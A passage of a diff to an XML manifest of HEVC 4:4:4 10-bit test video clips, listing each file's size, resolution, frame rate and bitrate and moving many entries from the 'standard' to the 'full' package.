   <entry key="hevc/yuv444/10bit/gop/crowd_854x480p50/crowd_854x480p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=60080,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2625600,package=standard</value>
+    <value>mime=video/hevc,size=60080,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2625600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_1280x720p50f32_2000kbps_level_4.0.mp4">
-    <value>mime=video/hevc,size=156279,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1936880,package=standard</value>
+    <value>mime=video/hevc,size=156279,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1936880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_1280x720p50f32_8000kbps_level_4.1.mp4">
     <value>mime=video/hevc,size=665348,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8300248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_128x96p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=15706,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179936,package=standard</value>
+    <value>mime=video/hevc,size=15706,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179936,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_176x144p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=15963,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183048,package=standard</value>
+    <value>mime=video/hevc,size=15963,width=176,height=144,frame-rate=50,profile=,level=,bitrate=183048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_1920x1080p50f32_4000kbps_level_4.1.mp4">
-    <value>mime=video/hevc,size=300188,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3735744,package=standard</value>
+    <value>mime=video/hevc,size=300188,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3735744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_1920x1088p50f32_10000kbps_level_5.0.mp4">
     <value>mime=video/hevc,size=726027,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=9058736,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_352x288p50f32_300kbps_level_2.1.mp4">
-    <value>mime=video/hevc,size=24617,width=352,height=288,frame-rate=50,profile=,level=,bitrate=291120,package=standard</value>
+    <value>mime=video/hevc,size=24617,width=352,height=288,frame-rate=50,profile=,level=,bitrate=291120,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_3840x2160p50f32_12000kbps_level_5.1.mp4">
     <value>mime=video/hevc,size=889481,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=11102200,package=full</value>
@@ -20463,49 +20463,49 @@
     <value>mime=video/hevc,size=1779167,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=22223272,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_640x480p50f32_500kbps_level_3.0.mp4">
-    <value>mime=video/hevc,size=43153,width=640,height=480,frame-rate=50,profile=,level=,bitrate=522808,package=standard</value>
+    <value>mime=video/hevc,size=43153,width=640,height=480,frame-rate=50,profile=,level=,bitrate=522808,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_64x64p50f32_200kbps_level_1.0.mp4">
-    <value>mime=video/hevc,size=10522,width=64,height=64,frame-rate=50,profile=,level=,bitrate=115744,package=standard</value>
+    <value>mime=video/hevc,size=10522,width=64,height=64,frame-rate=50,profile=,level=,bitrate=115744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_64x64p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=14821,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169480,package=standard</value>
+    <value>mime=video/hevc,size=14821,width=64,height=64,frame-rate=50,profile=,level=,bitrate=169480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_720x480p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=50180,width=720,height=480,frame-rate=50,profile=,level=,bitrate=610648,package=standard</value>
+    <value>mime=video/hevc,size=50180,width=720,height=480,frame-rate=50,profile=,level=,bitrate=610648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/level/crowd_720x576p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=52051,width=720,height=576,frame-rate=50,profile=,level=,bitrate=634032,package=standard</value>
+    <value>mime=video/hevc,size=52051,width=720,height=576,frame-rate=50,profile=,level=,bitrate=634032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=82151,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1010312,package=standard</value>
+    <value>mime=video/hevc,size=82151,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1010312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=836310,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10437296,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=89474,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1101848,package=standard</value>
+    <value>mime=video/hevc,size=89474,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1101848,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1694077,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=21159384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=363781,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4530680,package=standard</value>
+    <value>mime=video/hevc,size=363781,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4530680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=356945,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4445232,package=standard</value>
+    <value>mime=video/hevc,size=356945,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4445232,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg16.mp4">
-    <value>mime=video/hevc,size=366336,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4562624,package=standard</value>
+    <value>mime=video/hevc,size=366336,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4562624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg64.mp4">
-    <value>mime=video/hevc,size=358477,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4464384,package=standard</value>
+    <value>mime=video/hevc,size=358477,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4464384,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg8.mp4">
-    <value>mime=video/hevc,size=369524,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4602472,package=standard</value>
+    <value>mime=video/hevc,size=369524,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4602472,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=81504,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1002224,package=standard</value>
+    <value>mime=video/hevc,size=81504,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1002224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=408954,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5095344,package=full</value>
@@ -20517,43 +20517,43 @@
     <value>mime=video/hevc,size=938252,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11714672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_amp0.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_amp1.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_aud.mp4">
-    <value>mime=video/hevc,size=354677,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=standard</value>
+    <value>mime=video/hevc,size=354677,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=328851,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4094656,package=standard</value>
+    <value>mime=video/hevc,size=328851,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4094656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_1.mp4">
     <value>mime=video/hevc,size=396094,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4934600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta0.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta4.mp4">
-    <value>mime=video/hevc,size=355244,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4423960,package=standard</value>
+    <value>mime=video/hevc,size=355244,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4423960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta6.mp4">
-    <value>mime=video/hevc,size=355636,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4428856,package=standard</value>
+    <value>mime=video/hevc,size=355636,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4428856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_beta6_tcm6.mp4">
-    <value>mime=video/hevc,size=355668,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4429248,package=standard</value>
+    <value>mime=video/hevc,size=355668,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4429248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_betam4.mp4">
-    <value>mime=video/hevc,size=355724,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4429960,package=standard</value>
+    <value>mime=video/hevc,size=355724,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4429960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_betam6.mp4">
-    <value>mime=video/hevc,size=355065,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4421720,package=standard</value>
+    <value>mime=video/hevc,size=355065,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4421720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_betam6_tc6.mp4">
-    <value>mime=video/hevc,size=355329,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4425008,package=standard</value>
+    <value>mime=video/hevc,size=355329,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4425008,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cnstrn_intra.mp4">
-    <value>mime=video/hevc,size=359558,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4477896,package=standard</value>
+    <value>mime=video/hevc,size=359558,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4477896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cra16.mp4">
     <value>mime=video/hevc,size=387075,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4821048,package=full</value>
@@ -20562,109 +20562,109 @@
     <value>mime=video/hevc,size=14954478,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=186914400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=29477,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=351880,package=standard</value>
+    <value>mime=video/hevc,size=29477,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=351880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb16.mp4">
-    <value>mime=video/hevc,size=356646,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441496,package=standard</value>
+    <value>mime=video/hevc,size=356646,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4441496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=351448,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4376520,package=standard</value>
+    <value>mime=video/hevc,size=351448,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4376520,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=356915,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4444856,package=standard</value>
+    <value>mime=video/hevc,size=356915,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4444856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_faster.mp4">
-    <value>mime=video/hevc,size=310121,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3860536,package=standard</value>
+    <value>mime=video/hevc,size=310121,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3860536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fast.mp4">
-    <value>mime=video/hevc,size=319205,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3974080,package=standard</value>
+    <value>mime=video/hevc,size=319205,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=3974080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_grain.mp4">
     <value>mime=video/hevc,size=577666,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7204248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hash_chksum.mp4">
-    <value>mime=video/hevc,size=355384,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4425720,package=standard</value>
+    <value>mime=video/hevc,size=355384,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4425720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hash_crc.mp4">
-    <value>mime=video/hevc,size=355192,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4423320,package=standard</value>
+    <value>mime=video/hevc,size=355192,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4423320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hash_md5.mp4">
-    <value>mime=video/hevc,size=356536,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4440120,package=standard</value>
+    <value>mime=video/hevc,size=356536,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4440120,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_hrd.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_idr16.mp4">
     <value>mime=video/hevc,size=391053,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4871536,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intraminus1.mp4">
-    <value>mime=video/hevc,size=354689,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4417032,package=standard</value>
+    <value>mime=video/hevc,size=354689,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4417032,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_lossless.mp4">
     <value>mime=video/hevc,size=63529919,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=794107408,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_10.mp4">
-    <value>mime=video/hevc,size=354688,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4417024,package=standard</value>
+    <value>mime=video/hevc,size=354688,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4417024,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_16.mp4">
-    <value>mime=video/hevc,size=354712,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4417320,package=standard</value>
+    <value>mime=video/hevc,size=354712,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4417320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_4.mp4">
-    <value>mime=video/hevc,size=354679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416912,package=standard</value>
+    <value>mime=video/hevc,size=354679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_5.mp4">
-    <value>mime=video/hevc,size=354679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416912,package=standard</value>
+    <value>mime=video/hevc,size=354679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_max_log2poc_6.mp4">
-    <value>mime=video/hevc,size=354679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416912,package=standard</value>
+    <value>mime=video/hevc,size=354679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416912,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu16.mp4">
-    <value>mime=video/hevc,size=356501,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439680,package=standard</value>
+    <value>mime=video/hevc,size=356501,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4439680,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu4.mp4">
-    <value>mime=video/hevc,size=332389,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4138280,package=standard</value>
+    <value>mime=video/hevc,size=332389,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4138280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_maxtu8.mp4">
-    <value>mime=video/hevc,size=356149,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4435280,package=standard</value>
+    <value>mime=video/hevc,size=356149,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4435280,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_medium.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge1.mp4">
-    <value>mime=video/hevc,size=362036,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4508872,package=standard</value>
+    <value>mime=video/hevc,size=362036,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4508872,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge3.mp4">
-    <value>mime=video/hevc,size=353946,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4407744,package=standard</value>
+    <value>mime=video/hevc,size=353946,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4407744,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge4.mp4">
-    <value>mime=video/hevc,size=353097,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4397136,package=standard</value>
+    <value>mime=video/hevc,size=353097,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4397136,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_merge5.mp4">
-    <value>mime=video/hevc,size=352074,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4384344,package=standard</value>
+    <value>mime=video/hevc,size=352074,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4384344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mincu16.mp4">
-    <value>mime=video/hevc,size=370579,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4615656,package=standard</value>
+    <value>mime=video/hevc,size=370579,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4615656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mincu32.mp4">
     <value>mime=video/hevc,size=421154,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5247824,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nodblk.mp4">
-    <value>mime=video/hevc,size=356189,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4435784,package=standard</value>
+    <value>mime=video/hevc,size=356189,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4435784,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_no_pps_qp_opt.mp4">
-    <value>mime=video/hevc,size=354683,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416960,package=standard</value>
+    <value>mime=video/hevc,size=354683,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_no_pps_reflist_opt.mp4">
-    <value>mime=video/hevc,size=354683,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416960,package=standard</value>
+    <value>mime=video/hevc,size=354683,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_no_vui_hrd.mp4">
-    <value>mime=video/hevc,size=354683,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416960,package=standard</value>
+    <value>mime=video/hevc,size=354683,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416960,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_placebo.mp4">
     <value>mime=video/hevc,size=379652,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4729048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_profilenone.mp4">
-    <value>mime=video/hevc,size=354677,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=standard</value>
+    <value>mime=video/hevc,size=354677,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_psnr.mp4">
     <value>mime=video/hevc,size=589667,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7354272,package=full</value>
@@ -20682,145 +20682,145 @@
     <value>mime=video/hevc,size=25777006,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=322196000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp50.mp4">
-    <value>mime=video/hevc,size=30392,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=363320,package=standard</value>
+    <value>mime=video/hevc,size=30392,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=363320,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cbm12crm12.mp4">
-    <value>mime=video/hevc,size=26704,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=317224,package=standard</value>
+    <value>mime=video/hevc,size=26704,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=317224,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51.mp4">
-    <value>mime=video/hevc,size=24486,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=289496,package=standard</value>
+    <value>mime=video/hevc,size=24486,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=289496,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_rect0.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_rpt_hdrs.mp4">
-    <value>mime=video/hevc,size=354677,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=standard</value>
+    <value>mime=video/hevc,size=354677,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sao0.mp4">
-    <value>mime=video/hevc,size=354974,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4420600,package=standard</value>
+    <value>mime=video/hevc,size=354974,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4420600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sbh1.mp4">
-    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=standard</value>
+    <value>mime=video/hevc,size=354680,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4416920,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slower.mp4">
-    <value>mime=video/hevc,size=375248,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4674000,package=standard</value>
+    <value>mime=video/hevc,size=375248,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4674000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slow.mp4">
-    <value>mime=video/hevc,size=363986,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4533248,package=standard</value>
+    <value>mime=video/hevc,size=363986,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4533248,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng0.mp4">
     <value>mime=video/hevc,size=530894,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6619600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_srng32.mp4">
-    <value>mime=video/hevc,size=354358,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4412896,package=standard</value>
+    <value>mime=video/hevc,size=354358,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4412896,package=full</value>
   </entry>
